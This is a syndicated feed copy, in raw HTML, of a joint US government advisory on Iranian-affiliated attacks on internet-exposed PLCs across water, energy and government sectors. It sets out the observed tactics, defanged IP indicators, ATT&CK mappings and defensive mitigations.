Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure


Original Publication
April 7, 2026


Last Update 
July 22, 2026


Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-a...]]></description>
<link>https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:12:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Advisory at a Glance</strong></h2>
<table>
<tbody>
<tr>
<th>Title</th>
<td>Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</td>
</tr>
<tr>
<th>Original Publication</th>
<td><strong>April 7, 2026</strong></td>
</tr>
<tr>
<th>Last Update </th>
<td><strong>July 22, 2026</strong></td>
</tr>
<tr>
<th>Executive Summary</th>
<td>The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.</td>
</tr>
<tr>
<th>Last Update Description</th>
<td>This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.</td>
</tr>
<tr>
<th>Affected Products</th>
<td>Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.</td>
</tr>
<tr>
<th>Key Actions</th>
<td>
<ul type="square">
<li>Install PLCs consistent with manufacturers' guidelines and security best practices.</li>
<li>Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.</li>
<li>Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, especially traffic originating from foreign hosting providers.</li>
<li>For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.</li>
</ul>
</td>
</tr>
<tr>
<th>Indicators of Compromise</th>
<td>
<p>For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (July 2026) (29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (July 2026) (30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" title="AA26-097A STIX XML">AA26-097A STIX XML</a> (36 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" title="AA26-097A STIX JSON">AA26-097A STIX JSON</a> (12 KB)<br> </li>
</ul>
</td>
</tr>
<tr>
<th>Intended Audience</th>
<td>
<p><strong>Organizations:</strong> Critical Infrastructure</p>
<p><strong>Sectors: </strong><a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> </p>
<p><strong>Roles: </strong>Integrators, asset owners, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/defensive-cybersecurity" title="Defensive cybersecurity analysts">defensive cybersecurity analysts</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/operational-technology-ot-cybersecurity-engineering" title="OT cybersecurity engineers">OT cybersecurity engineers</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/cybersecurity-architecture" title="cybersecurity architects">cybersecurity architects</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/secure-systems-development" title="secure systems developer">secure systems developer</a></p>
</td>
</tr>
</tbody>
</table>
<h2><strong>Introduction</strong></h2>
<p><strong>Note:</strong><em> This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by</em> <em>Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.</em></p>
<p>The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files<a href="https://www.cisa.gov/#Note1"><sup>1</sup></a> and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.</p>
<p>The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a> (to include local municipalities), <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors. The authoring agencies previously reported on similar activity targeting PLCs by <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="CyberAv3ngers">CyberAv3ngers</a> (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).</p>
<p>Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the <a href="https://www.cisa.gov/#Mitigations"><strong>Mitigations</strong></a> section of this advisory to reduce the risk of compromise.</p>
<p>If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see <a href="https://www.cisa.gov/#Contact"><strong>Contact Information</strong></a>) to receive support, mitigation, and investigation assistance.</p>
<p>For more information on Iranian malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a> webpage and the FBI’s <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="Iran Threat">Iran Threat</a> and Iran <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Iran Cyber Threat">Cyber Threat Overview</a> webpages.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-07/aa26-097a-iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure_508c.pdf" class="c-file__link" target="_blank">Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.09 MB
  )</span>
  </div>
</div>
<p><em><strong>(New, July 22, 2026)</strong></em> For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul type="square">
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (XML, 29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (JSON, 30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" class="c-file__link" target="_blank">AA26-097A.stix_.xml</a>
    <span class="c-file__size">(XML,       35.97 KB
  )</span>
  </div>
</div>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" class="c-file__link" target="_blank">AA26-097A.stix_.json</a>
    <span class="c-file__size">(JSON,       11.87 KB
  )</span>
  </div>
</div>
<h2><strong>Background Information</strong></h2>
<h3><strong>Similar Historical Activity Targeting Programmable Logic Controllers</strong></h3>
<p>During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.</p>
<p>For more information on this group’s activity, see the joint Cybersecurity Advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>.</p>
<h3><strong>Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers</strong></h3>
<p>The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.</p>
<p><em><strong>(New, July 22, 2026) </strong></em>At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.</p>
<p>Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">WWS</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank" title="MITRE ATTACK Matrix for Enterprise">MITRE ATT&amp;CK<sup>®</sup> Matrix for Enterprise</a> framework, version 19. See the <a href="https://www.cisa.gov/#MITRE"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>Initial Access</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [<a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0883">T0883</a>]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, as well as targeting modems on port <code>22</code>. Targeted devices include:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> CompactLogix and Micro850 PLCs</li>
<li><strong>Schneider Electric:</strong> BMX P34/Modicon M340 PLCs</li>
<li><strong>Siemens:</strong> S7-1200 series PLCs</li>
</ul>
<h3><strong>Command and Control</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The targeting of ports [<a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a>] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port <code>22</code> [<a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a>].</p>
<h3><strong>Exfiltration</strong></h3>
<p><em><strong>(New, July 22, 2026) </strong></em>The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [<a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a>].</p>
<h3><strong>Impact</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [<a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a>]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.</p>
<p><strong>Note:</strong> An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.</p>
<h2><strong>Indicators of Compromise</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#Table2"><strong>Table 2</strong></a> for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.</p>
<p><strong>Disclaimer:</strong> The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 1. Indicators of Compromise <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]175</td>
<td>September 2025</td>
<td>February 2026</td>
</tr>
<tr>
<td>141.11.164[.]153</td>
<td>January 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>175.110.121[.]42</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]39</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]41</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]107</td>
<td>February 2026</td>
<td>February 2026</td>
</tr>
<tr>
<td>192.142.54[.]79</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>84.200.205[.]165</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>185.225.17[.]225</td>
<td>June 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>79.133.46[.]209</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]199</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]200</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]202</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 2. Indicators of Compromise </caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]162</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]164</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]165</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]167</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]168</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]170</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]171</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>135.136.1[.]133</td>
<td>March 2026</td>
<td>March 2026</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"></a><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a><strong> </strong>for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 3. Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0833">T0883</a></td>
<td>The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.</td>
</tr>
</tbody>
</table>
<p> </p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4. Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Commonly Used Port</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a></td>
<td>The actors leveraged commonly used OT ports to communicate with PLCs.</td>
</tr>
<tr>
<td>Remote Access Tools </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a></td>
<td>The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port <code>22</code>.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5. Exfiltration <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over C2 Channel</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a></td>
<td>The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 6. Impact</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data Manipulation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a></td>
<td>The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<p>The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the <a href="https://www.cisa.gov/cpg" title="Cross-Sector Cybersecurity Performance Goals (CPGs)">Cross-Sector Cybersecurity Performance Goals (CPGs)</a> developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s <a href="https://www.cisa.gov/cpg" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<h3><strong>Network Defenders</strong></h3>
<p>The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.</p>
<p><em><strong>(Updated, July 22, 2026)</strong></em> In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at <a href="mailto:PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a> for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.<br>
<ul type="circle">
<li>Refer to Rockwell Automation Security Advisory <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="SD1771">SD1771</a> for recommended PLC hardening measures and configuration guidance.</li>
</ul>
</li>
<li><strong>Schneider Electric:</strong> Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.<br>
<ul type="circle">
<li>Refer to Schneider Electric’s <a href="https://download.se.com/files?p_File_Name=Cybersecurity_Best+Practices_EN.pdf&amp;p_Doc_Ref=7EN52-0390&amp;p_enDocType=White+Paper" target="_blank" title="Recommended Cybersecurity Best Practices">Recommended Cybersecurity Best Practices</a> and <a href="https://download.se.com/files?p_Doc_Ref=EIO0000001999&amp;p_enDocType=User+guide&amp;p_File_Name=EIO0000001999-13_Modicon_Controller_Platform_Cybersecurity_Guide_EN.pdf" target="_blank" title="Cybersecurity User Guide for Modicon Controller Platform">Cybersecurity User Guide for Modicon Controller Platform</a> for guidance on securing and configuring PLCs.</li>
</ul>
</li>
<li><strong>Siemens:</strong> Contact Siemens ProductCERT at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a> for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.<br>
<ul type="circle">
<li>Refer to <a href="https://cert-portal.siemens.com/productcert/html/ssb-104599.html" target="_blank" title="Siemens Security Bulletin 104599">Siemens Security Bulletin 104599</a> for a list of security measures to harden PLCs and in-depth configuration guides.</li>
<li>Siemens users should review the <a href="https://cert-portal.siemens.com/operational-guidelines-industrial-security.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> and implement defense-in-depth controls within their automation systems.</li>
</ul>
</li>
</ul>
<p><strong>Immediate steps to prevent the attack:</strong></p>
<ul type="square">
<li><strong>Disconnect the PLC from the public-facing internet</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>]. Follow the joint guidance <a href="https://www.ncsc.gov.uk/collection/operational-technology/secure-connectivity" target="_blank" title="Secure Connectivity Principles for OT">Secure connectivity principles for OT</a> to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.<br>
<ul type="circle">
<li>Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.</li>
<li>Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.</li>
<li><em><strong>(New, July 22, 2026) </strong></em>To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026) </strong></em><strong>Strictly control network access to PLC devices.</strong><br>
<ul type="circle">
<li>Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.</li>
</ul>
</li>
<li><strong>For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. </strong>Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s<a href="https://www.cisa.gov/#Note2"><sup>2</sup></a><sup> </sup><a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/rm/secure-rm001_-en-p.pdf" target="_blank" title="System Security Design Guidelines">System Security Design Guidelines</a> for manufacturer’s instructions.)<br>
<ul type="circle">
<li><em><strong>(New, July 22, 2026)</strong> </em>Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.</li>
</ul>
</li>
<li><strong>For devices that allow software key switching, </strong>enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ <a href="https://assets.new.siemens.com/siemens/assets/api/uuid:c9a2de6e-6bd0-4c32-bba0-f64cac44fcc9/industrial-security-operational-guidelines-en.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> for the manufacturer’s instructions.)</li>
</ul>
<p><strong>Follow-up steps to strengthen security posture:</strong></p>
<ul type="square">
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Review project files running on PLCs for unauthorized changes.</strong> Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="Customer Guidance to Disconnect Devices from the Internet">Customer Guidance to Disconnect Devices from the Internet</a>, check the AOIs for any anomalous modifications.<br>
<ul type="circle">
<li>If restoring from backups, verify the backup does not contain malicious logic before deployment.</li>
<li>Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure device passwords are changed from their default </strong>and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Take defensive measures to minimize the risk of exploitation. </strong>Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.</li>
<li><strong>Create and test strong backups of the logic and configurations of PLCs</strong>. Store backup files offline and secure the physical removal media to enable fast recovery.</li>
<li><strong>Implement multifactor authentication</strong> <strong>(MFA)</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>] for access to the OT network from an external network.</li>
